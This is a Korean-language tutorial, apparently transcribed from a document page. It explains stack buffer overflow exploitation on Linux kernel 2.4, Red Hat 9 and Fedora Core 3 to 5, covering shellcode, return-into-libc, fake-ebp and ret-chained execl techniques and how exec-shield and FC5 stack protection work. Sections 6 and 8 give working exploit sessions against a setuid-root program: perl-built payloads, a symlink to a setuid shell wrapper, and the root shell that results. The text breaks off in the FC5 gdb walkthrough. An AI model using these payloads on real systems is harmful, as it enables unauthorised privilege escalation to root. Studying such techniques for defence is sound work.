Fedora Core 3,4,5 stack overflow.docx

Size: px
Start display at page:

Download "Fedora Core 3,4,5 stack overflow.docx"

Transcription

1 Fedora Core 3,4,5 stack overflow by randomkid 목차 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode 기법 ) 3. 레드헷 9 에서의 stack overflow 방법 (RTL 기법 ) 4. 커널 2.6 에서 exec_shield 패치의이해 5. FC 에서의 stack overflow 방법 6. FC3 에서의인자참조원리를이용한 execl overflow 기법 (fake ebp) 7. FC4 에서의인자참조설명 8. FC4 에서의인자참조원리를이용한 ret execl overflow 기법 9. FC5 에서의 stack 방어메커니즘이해 (stack shield, guard) 10. FC5 에서의 stack 방어메커니즘우회공격기법 (ecx one byte overflow) ==================================== *** 1. 스택오버플로우의역사 *** ==================================== 버퍼오버플로우는해킹기법이아닌단순한프로그램상의문제로처음소개되었는데 1973 년경 C 언어의데이터무결성문제로그개념이처음알려졌습니다. 이후 1988 년모리스웜 (Morris Worm) 이 fingerd 버퍼오버플로우를이용했다는것이알려지면서이문제의심각성이인식되기시작했으며, 1997 년에는온라인보안잡지로유명한 Phrack(7 권 49 호 ) 에 Aleph One 이 "Smashing The Stack For Fun And Profit" 란문서를게재하면서보다널리알려졌습니다. 이문서는다양한 " 버퍼오버플로우 " 공격을유행시키는계기가됐으며현재까지해커지망생들의필독문서로자리잡아오고있습니다. 이후 " 버퍼오버플로우 " 는 SANS( 에서매년발표하는 TOP20 공격기법가운데상당수를차지하면서해커들의꾸준한사랑을받아오고있습니다. < 네이버블로그에서발췌 >

2 <stack> =============================================================== *** 2. 커널 2.4 에서의 stack overflow 방법 (shellcode 기법 ) *** =============================================================== <--- stack 의높은주소 환경변수 shellcode 2. NOP 코드를실행하면서환경변수에삽입된 shellcode 를실행하여 shell 을얻음!!!. ^ NOP NOP... +< ^. return address 리턴어드레스주소에 NOP 코드가있는 stack 주소를넣음 base pointer(ebp) buffer <--- stack 의낮은주소 위그림은커널 2.4 에서 shellcode overflow 를해보신분이면쉽게이해가되실겁니다. 먼저순서를보면 shellcode 를환경변수에올려놓습니다. 그후 buffer 를넘치게하여 return address 주소를 NOP(0x90) 이있는 stack 주소로변조합니다. 그렇게되면프로그램의에필로그 ( 함수의종료어셈코드부분을의미합니다 ) 가실행이되면서공격자가변조한 return address 주소로프로그램흐름이바뀌게됩니다. 그후 NOP 코드를차례로실행하면서 stack 의높은주소로이동하게되고결국공격자가만든 shellcode 를실행하여 shell 을실행하게됩니다.

3 ========================================================= *** 3. 레드헷 9 에서의 stack overflow 방법 (RTL 기법 ) *** ========================================================= 레드헷 9 에서는 stack overflow 공격에대항하기위해특별한방어메커니즘이적용되었습니다. 바로 random stack address 입니다. 말그대로 stack 의주소가 random 적으로바뀌는것을의미합니다. 그래서 shellcode 의주소를추측해야하는기존의방법으로는번거롭게되었습니다. 그런데 redhat 9.0 이나오기이전에재미있는 overflow 기법이나왔습니다. 바로 RTL(Return Into Libc) 기법입니다. 이기법은 Lamagra's OMEGA Project 라는이름으로발표되었는데 shellcode 없이 shell 을실행하는것을목적으로합니다. C 언어를코딩하다가보면이런함수를자주쓰실겁니다. printf, scanf, strcpy, malloc, free 등... 이함수들은사용자가정의하지않고도그냥쓸수있습니다. 이함수들을공유라이브러리함수라고하는데당연히메모리어딘가에해당함수의코드가있을것입니다. 이공유라이브러리함수중에서 shell 을수행할수있는함수를찾습니다. 대표적으로세가지만예로들겠습니다. system("/bin/sh"); execve("/bin/sh", 이중포인터,0); execl("/bin/sh",argument,0); 위함수는 C 언어공유라이브러리중에서 shell 을실행할수있는함수들입니다. #include <stdio.h> int main() { system("/bin/sh"); } 위의코드를실행하여 system 함수가실행이될때 stack 상의배치를보면다음과같습니다.

4 <system() 이실행된직후의 stack> <--- stack 의높은주소 &/bin/sh <- ebp + 8 return address system()'s ebp <--- stack 의낮은주소 위의그림을보시면 &system() 의 stack 위치에서 8 바이트위의 stack 상에있는포인터값을인자로받아서실행하는것을보실수있습니다. RTL 기법은 buffer 를넘치게하여 return address 의주소를 shell 을실행할수있는공유라이브러리함수로변조하고인자까지구성시키는방법입니다. RTL 기법의공격과정을보면다음과같습니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 &shell 실행프로그램명 2. 심볼릭링크를걸어서디렉토리에있는 shell 프로그램을실행시킴. < 변조된 4 바이트 return address libc 의 &system() system 함수가실행을하여 8 바이트위의값을인자로참조함 base pointer 변조된 base pointer buffer buffer <--- stack 의낮은주소 < 공격후의 stack> 그림을보면 stack 의주소값을알수없어도 shell 실행이가능하다라는것을알수있습니다. random stack address 가적용된레드헷 9 에서이기법이먹혀들어간다는것을알수있습니다.

5 ================================================== *** 4. 커널 2.6 에서 exec_shield 패치의이해 *** ================================================== shellcode, RTL overflow, formatstring 기법등여러가지 exploit 기법이발표되면서 exploit 을막는강력한방어메커니즘이요구되었습니다. 그후 exec_shield 를개발했습니다. exec_shield 의목적은모든가능한 exploit 에대항하는것입니다. 그럼 exec_shield 를살펴보도록하겠습니다. 위의그림을차례로설명해보겠습니다. 운영체제 < 레드헷 9> <Fedora Core's exec_shield> 비실행 stack X O 비실행 heap X O random stack O O random heap X O random libc X O libc address 16M 이상 16M 미만 먼저비실행 stack 란을보도록하겠습니다. 비실행 stack 이란메모리영역중 stack 영역의코드를명령어로실행못하게하는패치를의미합니다. 레드헷 9 을보시면비실행 stack 이되어있지않으므로 stack 상에있는 shellcode 를실행할수있습니다. 하지만 FC(Fedora Core) 에서는비실행 stack 이적용되어있으므로 stack 상에있는 shellcode 를실행할수없습니다.

6 다음으로비실행 heap 란을보도록하겠습니다. 비실행 heap 이란메모리영역중 heap 영역에있는코드를명령어로실행못하게하는패치를의미합니다. 레드헷 9 에서는 heap 상에위치된 shellcode 를실행할수있지만 FC 에서는패치가되어실행이불가능하다는것을알수있습니다. random stack 은목차 3 에서설명하였으므로넘어가겠습니다. 그다음인 random heap 은말그대로할당된 heap 의주소값이 random address 라는것을의미합니다. random libc 는공유라이브러리가위치한메모리주소가 random 적이라는것을의미합니다. 마지막으로 libc address 란을보도록하겠습니다. libc address 는공유라이브러리의주소값을의미합니다. 레드헷 9 에서는 16M 이상이므로 4 바이트최상위한바이트주소값이 0x00 이아닙니다. 하지만 FC 에서는 16M 미만이므로 4 바이트최상위한바이트주소값이 0x00 이꼭들어갑니다.( 예 : 0x008962fc <- execve's libc address) 즉 0x00 을못넣는상황의 overflow 에서레드헷 9 에서는함수의연속호출이가능하지만 FC 에서는딱한번만호출할수있다는것을알 수있습니다. 이렇게공유라이브러리의주소에서최상위바이트가 0x00 인메모리영역을 "ASCII-Armor 영역 " 이라고합니다. 이모든패치내용을종합해보면기존의커널 2.4 에서통한 overflow 기법은커널 2.6 에서무용지물이라는것을확인할수있습니다. shellcode overflow 기법은 stack 상에 shellcode 를올려놓고 return address 를 stack 의위치로바꾸어공격하는기법인데커널 2.6(FC) 에서는 stack 의주소가 random 적일뿐만아니라 stack 상에있는코드를실행할수없게패치되었기때문입니다. 그럼 RTL 기법은어떻습니까? RTL 기법은 return address 의주소를공유라이브러리주소로바꾼다음원하는인자까지구성시켜주어서 shell 을실행하는기법입니다. 그런데커널 2.6 에서적용할려면첫번째난관이바로 random libc 주소입니다. 공유라이브러리의주소값이계속바뀌기때문에추측공격을할수밖에없고운이좋게주소값이맞아떨어져도주소값에아스키아머가걸려있기때문에 0x00 을못넣는환경에서는올바르게인자까지구성시켜줄수없습니다.

7 ========================================== *** 5. FC 에서의 stack overflow 방법 *** ========================================== 목차 4 에서 FC 에서적용된 exec_shield 내용을이해하셨으면 exploit 이거의불가능해보일것입니다. 하지만불가능은없습니다. (^.^) 그럼 FC 에서어떻게 overflow 를해야하는지알아보겠습니다. 공유라이브러리가위치하는주소값을잘살펴보면비록 random 적으로주소값이바뀌지만 16M 이하의범위안에서 random address 이므로변하는 libc address 중하나를잡고계속실행하면생각보다쉽게매칭이되는것을확인할수있습니다. 즉우리가원하는공유라이브러리함수를호출하는것이가능하다는것을증명할수있는것입니다. return address 에공유라이브러리함수중딱한번호출해서 shell 을실행할려면어떤함수가좋겠습니까? 제가추천하는 exec family 함수중에서 execl() 입니다. 인자는다음과같이구성되어야합니다. execl(" 실행파일명 "," 인자 ",0); 인자는총 3 개로써마지막인자는 0x 로끝나야합니다. 인자구성을시켜야하는데까다롭게되어있습니다. execl 의인자참조를세부적으로보면다음과같습니다. 커널 FC3 까지인자참조는 ebp 를기준으로참조합니다. <execl() 실행후 stack> <---stack 의높은주소 0x <- ebp + 16 & 인자 <- ebp + 12 & 실행파일명 <- ebp + 8 return address &execl()'s ebp <--- stack 의낮은주소 overflow 를시킬때 return address 까지변조할수있다는의미는 ebp 부분도변조할수있다는것을의미합니다. 다시말하면 return address 를 execl 로바꿀수있을뿐만아니라인자위치도우리가원하는위치로변조할수있다는것입니다.

8 공격과정은다음과같게하면될것입니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 return address &execl+3 ebp execl 에맞는인자위치 - 8 buffer buffer <--- stack 의낮은주소 <execl>: push %ebp <execl+1>: mov %esp,%ebp <--- ebp 가변조되는어셈코드입니다. <execl+3>: lea 0x10(%ebp),%ecx return address 의주소값을 &execl + 3 으로한이유는함수프롤로그 ( 함수의시작어셈코드부분입니다 ) 를안하기위해서입니다. 프롤로그작업을수행하면우리가변조한 ebp 위치의인자를참조안하기때문입니다.

9 그럼 FC3 에서 stack overflow 를해보도록하겠습니다. ============================================================================= *** 6. FC3 에서의인자참조원리를이용한 execl overflow 기법 (fake ebp) *** ============================================================================= vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t vul]$ ls -al vul -rwsr-xr-x 1 root root 4729 Feb 26 07:39 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> int main(int argc,char**argv) { char buf[4]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ 위의과정을보시면알겠지만현재일반권한유저상태에서 root 의권한으로실행이되는프로그램이있습니다. 프로그램은 stack overflow 가가능하므로공격을하여 root shell 을얻도록하겠습니다. [randomkid@localhost vul]$ gdb -q vul (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push %ebp 0x <main+1>: mov %esp,%ebp 0x b <main+3>: sub $0x8,%esp 0x e <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x <main+14>: add $0xf,%eax 0x <main+17>: add $0xf,%eax 0x c <main+20>: shr $0x4,%eax

10 0x f <main+23>: shl $0x4,%eax 0x <main+26>: sub %eax,%esp 0x <main+28>: sub $0x8,%esp 0x <main+31>: mov 0xc(%ebp),%eax 0x a <main+34>: add $0x4,%eax 0x d <main+37>: pushl (%eax) 0x f <main+39>: lea 0xfffffffc(%ebp),%eax 0x <main+42>: push %eax 0x <main+43>: call 0x80482b0 <_init+56> <--- strcpy 의 plt 위치 0x <main+48>: add $0x10,%esp 0x b <main+51>: leave 0x c <main+52>: ret 0x d <main+53>: nop 0x e <main+54>: nop ---Type <return> to continue, or q <return> to quit--- 0x f <main+55>: nop End of assembler dump. (gdb) main() 을역어셈하여내부를보신결과입니다. 실제버퍼의크기가어떻게잡혀있는확인하기위해 strcpy 가수행된후의시점에서확인해보도록하겠습니다. (gdb) b *main+48 Breakpoint 1 at 0x (gdb) r AAAA Starting program: /home/randomkid/vul/vul AAAA (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x in main () (gdb) x/16wx $esp 0xfef054d0: 0xfef054f4 0xfef82bda 0xfef054f8 0x080483ba 0xfef054e0: 0x x003dfff4 0x x003dfff4 0xfef054f0: 0x x ( 버퍼 )0xfef05500(ebp) 0x002d1e33(ret) 0xfef05500: 0x xfef xfef x002afab6 (gdb)

11 위의결과를분석해보면... <stack> 0x002d1e33 <--- return address 0xfef05500 <--- ebp 0x <--- buffer 이렇게됩니다. 이제상대적인 return address 의크기를알아냈으니 execl 함수와인자로구성시켜줄메모리위치를뒤지면될것입니다. (gdb) p execl $1 = {<text variable, no debug info>} 0x <execl> (gdb) x/8wx 0x <--- GOT 주소를미리준비했습니다. 0x <_GLOBAL_OFFSET_TABLE_>: 0x x002ba4f8 0x002af9e0 0x002d1d50 0x <_GLOBAL_OFFSET_TABLE_+16>: 0x x x x (gdb) execl 의인자로 GOT 주소가적당합니다. 이유는 GOT 주소의끝은항상 0x 이기때문입니다. 그럼심볼릭링크를걸어줄값을알아보도록하겠습니다. (gdb) x/x 0x x <_DYNAMIC>: 0x (gdb) 0x01 을심볼릭링크로걸어주면될것입니다. 그럼 shell 을띄우는프로그램을만들어보겠습니다. (gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat shell.c #include <stdio.h> int main() { printf("root in!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$

12 gcc 로컴파일을한다음... vul]$ gcc -o shell shell.c 위에서확인한심볼릭링크를걸어줍니다. vul]$ ln -s shell `perl -e 'print "\x01"'` 제대로되었는지확인을한번더합니다. vul]$ ls -al `perl -e 'print "\x01"'` lrwxrwxrwx 1 randomkid randomkid 5 Feb 26 07:49? -> shell [randomkid@localhost vul]$ 공격코드는다음과같이넣어주면되겠습니다. <stack> <--- stack 의높은주소 0x <--- return address ( &execl + 3 ) 0x c <--- fake ebp ( & 원하는인자위치 - 8 ) 0x <--- buffer <--- stack 의낮은주소 그럼공격을해보겠습니다.(random libc address 때문에반복적으로공격을해야합니다 ) [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x5c\x95\x04\x08","\x23\x67\x34"'` Root in!!! sh-3.00# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.00# root shell 을얻었습니다. 위의공격과정에서중요한요점은 ebp 를기준으로참조하는인자원리를이용하여우리가원하는메모리위치로바꾸는것입니다.

13 ====================================== *** 7. FC4 에서의인자참조설명 *** ====================================== fake ebp 를이용하여원하는인자까지구성시켜주는방법을알아차리고는 FC4 에서는인자참조방식을바꾸었습니다. 다음소스를보겠습니다. vul]$ cat execve.c #include <stdio.h> int main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); } [randomkid@localhost vul]$ 인자참조방식이어떻게바뀌었는지확인하기위해만든프로그램입니다. 그럼 gdb 로 execve 함수의인자참조방식이어떻게바뀌었는지보겠습니다. [randomkid@localhost vul]$ gcc -o execve execve.c [randomkid@localhost vul]$ gdb -q execve (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x (gdb) r Starting program: /home/randomkid/vul/execve Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xf18000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x in main () (gdb) disas execve Dump of assembler code for function execve: 0x002651ac <execve+0>: push %edi 0x002651ad <execve+1>: push %ebx

14 0x002651ae <execve+2>: call 0x1ecc60 < i686.get_pc_thunk.bx> 0x002651b3 <execve+7>: add $0x98e41,%ebx 0x002651b9 <execve+13>: mov 0xc(%esp),%edi <--- 첫번째인자 0x002651bd <execve+17>: mov 0x10(%esp),%ecx <--- 두번째인자 0x002651c1 <execve+21>: mov 0x14(%esp),%edx <--- 세번째인자 0x002651c5 <execve+25>: xchg %ebx,%edi 0x002651c7 <execve+27>: mov $0xb,%eax 0x002651cc <execve+32>: call *%gs:0x10 0x002651d3 <execve+39>: xchg %edi,%ebx 0x002651d5 <execve+41>: mov %eax,%edx 0x002651d7 <execve+43>: cmp $0xfffff000,%edx 0x002651dd <execve+49>: ja 0x2651e2 <execve+54> 0x002651df <execve+51>: pop %ebx 0x002651e0 <execve+52>: pop %edi 0x002651e1 <execve+53>: ret 0x002651e2 <execve+54>: neg %edx 0x002651e4 <execve+56>: mov 0xffffff1c(%ebx),%eax 0x002651ea <execve+62>: mov %edx,%gs:(%eax) 0x002651ed <execve+65>: mov $0xffffffff,%eax 0x002651f2 <execve+70>: pop %ebx ---Type <return> to continue, or q <return> to quit--- 0x002651f3 <execve+71>: pop %edi 0x002651f4 <execve+72>: ret 0x002651f5 <execve+73>: nop 0x002651f6 <execve+74>: nop 0x002651f7 <execve+75>: nop End of assembler dump. (gdb) 위의 execve 함수의어셈블러명령어를보면인자참조방식이 ebp 레지스터에서 esp 레지스터로바뀐것을알수있습니다. 모든실행함수가전부이와같은방식이적용이되어서더이상 fake ebp 를이용하는 stack overflow 공격은안통하게되었습니다.

15 ======================================================================= *** 8. FC4 에서의인자참조원리를이용한 ret execl overflow 기법 *** ======================================================================= 인자참조가 ebp 에서 esp 로바뀌었으므로 esp 를핸들링하는것이관건이됩니다. 그럼어떻게 esp 를마음대로핸들링할수있겠습니까? 방법을말씀드리면간단합니다. 아스키아머가걸리지않는코드영역중에서 ret 명령어가들어간부분을찾습니다. 0x080483b1 <main+53>: ret 이런코드가되겠지요. 이코드를 return address 에넣으면어떻게될까요? stack 상의 4 바이트를 eip 에넣을것입니다. 그럼그다음코드에또 ret 코드가있다면? 도식화해서보면다음과같습니다. < 공격전의 stack> < 공격후의 stack> <--- stack 의높은주소 dummy 인자구성이된 &execl() dummy &ret 코드 &argv &ret 코드 argc &ret 코드 return address &ret 코드 ebp 변조된 ebp buffer buffer <--- stack 의낮은주소

16 위의그림을보면 &return address 에 ret 코드주소값을넣어서프로그램의흐름을 stack 을올리면서끌고가고있는것을볼수있습니다. 그리고마지막에 execl 함수를호출하게되는데물론이때 stack 상에배치된인자는 execl() 에맞는위치가되어야합니다. 그럼취약프로그램을공격해보도록하겠습니다. vul]$ ls -al vul -rwsr-xr-x 1 root root 4675 May 24 06:01 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> #include <string.h> int main(int argc,char**argv) { char buf[4]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t [randomkid@localhost vul]$ uname -a Linux localhost.localdomain _FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux 현재저는일반유저이고 root 의권한으로실행이되는프로그램이하나있습니다. 그프로그램은 stack overflow 가가능하고 Linux 버젼은 FC4 입니다. 공격과정은다음과같은순서로진행하겠습니다. 1. buffer 에서 return address 까지상대적인크기를구합니다. 2. ret 코드가있는주소값을알아냅니다. 3. 공유라이브러리 execl() 의주소값을알아냅니다. 4. return address 보다높은 stack 주소중에서 execl() 의인자로적당한위치를알아냅니다. 5. exploit 프로그램을심볼릭링크를걸어 ret + execl 로 stack overflow 를하여 root shell 을얻습니다. 그럼 gdb 로 return address 까지상대적인크기를구합니다.

17 vul]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x c <main+0>: push %ebp 0x d <main+1>: mov %esp,%ebp 0x f <main+3>: sub $0x18,%esp 0x <main+6>: and $0xfffffff0,%esp 0x <main+9>: mov $0x0,%eax 0x a <main+14>: add $0xf,%eax 0x d <main+17>: add $0xf,%eax 0x <main+20>: shr $0x4,%eax 0x <main+23>: shl $0x4,%eax 0x <main+26>: sub %eax,%esp 0x <main+28>: mov 0xc(%ebp),%eax 0x b <main+31>: add $0x4,%eax 0x e <main+34>: mov (%eax),%eax 0x080483a0 <main+36>: sub $0x8,%esp 0x080483a3 <main+39>: push %eax 0x080483a4 <main+40>: lea 0xfffffffc(%ebp),%eax 0x080483a7 <main+43>: push %eax 0x080483a8 <main+44>: call 0x80482c8 < <--- strcpy 의 plt 주소 0x080483ad <main+49>: add $0x10,%esp 0x080483b0 <main+52>: leave 0x080483b1 <main+53>: ret 0x080483b2 <main+54>: nop ---Type <return> to continue, or q <return> to quit--- 0x080483b3 <main+55>: nop End of assembler dump. (gdb) b *main+49 Breakpoint 1 at 0x80483ad (gdb) r AAAA

18 Starting program: /home/randomkid/vul/vul AAAA (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483ad in main () (gdb) x/16wx $esp 0xbfd83580: 0xbfd835b4 0xbfd83be2 0xbfd x xbfd83590: 0x003f2ff4 0xbfd xbfd835b8 0x080483ce 0xbfd835a0: 0x003f2ff4 0x x x003f2ff4 0xbfd835b0: 0x001d4ca0 0x (buffer) 0xbfd83600(ebp) 0x002e1de6(return address) (gdb) 0xbfd835c0: 0x xbfd xbfd xbfd xbfd835d0: 0x001c76d8 0x001d5878 0xb7f x xbfd835e0: 0x003f2ff4 0x001d4ca0 0x080483b4 0xbfd xbfd835f0: 0xbfd835c0 0x002e1dab 0x x (gdb) return address 의상대적인크기를알아냈으므로 ret 코드의주소값을구합니다. ret 코드주소는 main() 의 ret 코드로합니다.(0x080483b1) 그다음 execl() 의주소값을알아냅니다. (gdb) p execl $4 = {<text variable, no debug info>} 0x26545c <execl> (gdb) 다음으로 return address 보다높은 stack 주소중에서 execl() 의인자로적당한위치를알아냅니다. (gdb) x/32wx $esp 0xbfd83580: 0xbfd835b4 0xbfd83be2 0xbfd x xbfd83590: 0x003f2ff4 0xbfd xbfd835b8 0x080483ce 0xbfd835a0: 0x003f2ff4 0x x x003f2ff4 0xbfd835b0: 0x001d4ca0 0x xbfd83600(ebp) 0x002e1de6(return address) 0xbfd835c0: 0x xbfd xbfd xbfd xbfd835d0: 0x001c76d8 0x001d5878 0xb7f x xbfd835e0: 0x003f2ff4 0x001d4ca0 0x080483b4( 첫인자 ) 0xbfd xbfd835f0: 0xbfd835c0 0x002e1dab 0x x (gdb) x/4wx 0x080483b4 <--- 첫인자 0x80483b4 < libc_csu_init>: 0x57e xec x0000e80c 0x815b0000 (gdb)

19 execl() 의인자로적합한 stack 위치를찾았습니다. 그럼 ret 코드를몇번넣어야하는지계산을해보면... return address 부터 ret 코드주소 9 번 (4byte 단위 ) 다음 execl() 주소값을넣으면됩니다. gdb 상에서공격코드를넣고 stack 구성이어떻게되는지확인해보겠습니다. (gdb) d Delete all breakpoints? (y or n) y (gdb) b *execl Breakpoint 3 at 0x26545c (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/randomkid/vul/vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` (no debugging symbols found) (no debugging symbols found) Breakpoint 3, 0x c in execl () from /lib/libc.so.6 (gdb) x/32wx $esp 0xbf808f14: 0x001d4ca0 0x080483b4 0xbf808f48 0xbf808ef0 0xbf808f24: 0x001ecdab 0x x x xbf808f34: 0x001ccd30 0x001c7f2d 0x001d4fb4 0x xbf808f44: 0x080482d8 0x x080482f9 0x c 0xbf808f54: 0x xbf808f74 0x080483b4 0x xbf808f64: 0x001c7f2d 0xbf808f6c 0x001d2843 0x xbf808f74: 0xbf809b9f 0xbf809bb7 0x xbf809be7 0xbf808f84: 0xbf809c06 0xbf809c16 0xbf809c21 0xbf809c2f (gdb) 구성이맞았습니다. 그럼 shell 로나가서심볼릭링크를걸고공격을해보겠습니다.

20 (gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat shell.c #include <stdio.h> int main() { printf("root shell!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$ gcc -o shell shell.c [randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` [randomkid@localhost vul]$ ls -al `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` lrwxrwxrwx 1 randomkid randomkid 5 May 26 10:31 U??WVS???? -> shell [randomkid@localhost vul]$ 심볼릭링크가제대로걸렸습니다. 그럼공격을해보겠습니다. [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` root shell!!! sh-3.00# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.00# uname -a Linux localhost.localdomain _FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00# root shell 을얻었습니다.

21 ==================================================================== *** 9. FC5 에서의 stack 방어메커니즘이해 (stack shield, guard) *** ==================================================================== return address 을 ret + exe 계열함수기법으로 exploit 을하면서솔라리스디자이너는 return address 를직접적으로변경이안되게만들어야하는방어메커니즘을필요로하게됩니다. 결국 stack shield + guard 방식을적용하게됩니다. 다음소스를보겠습니다. [randomkid@localhost vul]$ cat main.c #include <stdio.h> int main() { return 0; } [randomkid@localhost vul]$ 위프로그램은 stack 을어떻게보호하는지확인하기위해만든프로그램입니다. 그럼컴파일후 gdb 로 main() 의내부를보도록하겠습니다. [randomkid@localhost vul]$ gcc -o main main.c [randomkid@localhost vul]$ gdb -q main (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x <main+0>: lea 0x4(%esp),%ecx 0x <main+4>: and $0xfffffff0,%esp 0x b <main+7>: pushl 0xfffffffc(%ecx) 0x e <main+10>: push %ebp 0x f <main+11>: mov %esp,%ebp 0x <main+13>: push %ecx 0x <main+14>: mov $0x0,%eax 0x <main+19>: pop %ecx 0x <main+20>: pop %ebp 0x <main+21>: lea 0xfffffffc(%ecx),%esp 0x c <main+24>: ret End of assembler dump.

22 (gdb) b *main+0 Breakpoint 1 at 0x (gdb) r Starting program: /home/randomkid/vul/main Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xb63000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x in main () (gdb) main() 의프롤로그부분에브레이크를걸고실행을하였습니다. 보시면알겠지만 FC5 에서는이전 FC 에서볼수없는프롤로그작업을합니다. <main+0>: lea 0x4(%esp),%ecx <main+4>: and $0xfffffff0,%esp <main+7>: pushl 0xfffffffc(%ecx) 이 3 줄입니다. 그럼의미를알기위해 main() 프롤로그부터한라인씩실행해보겠습니다. (gdb) x/4wx $esp 0xbf853a2c: 0x008207e4(return address) 0x xbf853ab4 0xbf853abc (gdb) si <--- lea 0x4(%esp),%ecx 수행. 0x in main () (gdb) info reg ecx <--- ecx 레지스터에 &return address + 4 위치값을저장. ecx 0xbf853a (gdb) si <--- and $0xfffffff0,%esp 수행. (gdb) x/8wx $esp <--- esp 안의최하위 4bit 를 0 으로만들어 esp 위치를 12byte 확장. 0xbf853a20: 0x00807cc0 0x xbf853a88 0x008207e4 0xbf853a30: 0x xbf853ab4 0xbf853abc 0x007fb5bb (gdb) si <--- pushl 0xfffffffc(%ecx) 수행. (gdb) x/9wx $esp <--- ecx 를이용하여 return address 의주소를복제하여 stack 에넣어둠. 0xbf853a1c: 0x008207e4(ret) 0x00807cc0 0x xbf853a88 0xbf853a2c: 0x008207e4(ret) 0x xbf853ab4 0xbf853abc 0xbf853a3c: 0x007fb5bb (gdb) si <--- push %ebp 수행.

23 (gdb) x/10wx $esp <--- stack 상에 base pointer 구성. 0xbf853a18: 0xbf853a88 0x008207e4 0x00807cc0 0x xbf853a28: 0xbf853a88 0x008207e4 0x xbf853ab4 0xbf853a38: 0xbf853abc 0x007fb5bb (gdb) si <--- mov %esp,%ebp 수행. (gdb) x/x $ebp <--- ebp 를 esp 와동일하게만들어서이전함수의 base pointer 값을가리키게함. 0xbf853a18: 0xbf853a88 (gdb) x/x $esp 0xbf853a18: 0xbf853a88 (gdb) si <--- push %ecx (gdb) x/11wx $esp <--- &return address + 4 를가리키는 ecx 레지스터값을 stack 에저장함. 0xbf853a14: 0xbf853a30 0xbf853a88 0x008207e4 0x00807cc0 0xbf853a24: 0x xbf853a88 0x008207e4 0x xbf853a34: 0xbf853ab4 0xbf853abc 0x007fb5bb (gdb) si <--- mov $0x0,%eax 0x in main () (gdb) info reg eax <--- eax 레지스터에 0 을넣음.( 소스코드의 return 0; 을수행 ) eax 0x0 0 (gdb) 이제부터함수에필로그작업에들어갑니다. 중요한부분이니주의깊게보시기바랍니다. (gdb) si <--- pop %ecx 수행. 0x in main () (gdb) info reg ecx <--- ecx 레지스터를 &return address + 4 위치를가리키게함. ecx 0xbf853a (gdb) x/10wx $esp 0xbf853a18: 0xbf853a88 0x008207e4 0x00807cc0 0x xbf853a28: 0xbf853a88 0x008207e4 0x xbf853ab4 0xbf853a38: 0xbf853abc 0x007fb5bb (gdb) si <--- pop %ebp 수행. 0x in main () (gdb) info reg ebp <--- 이전함수의 base pointer 로복귀시킴. ebp 0xbf853a88 0xbf853a88 (gdb) x/9wx $esp 0xbf853a1c: 0x008207e4 0x00807cc0 0x xbf853a88 0xbf853a2c: 0x008207e4 0x xbf853ab4 0xbf853abc 0xbf853a3c: 0x007fb5bb

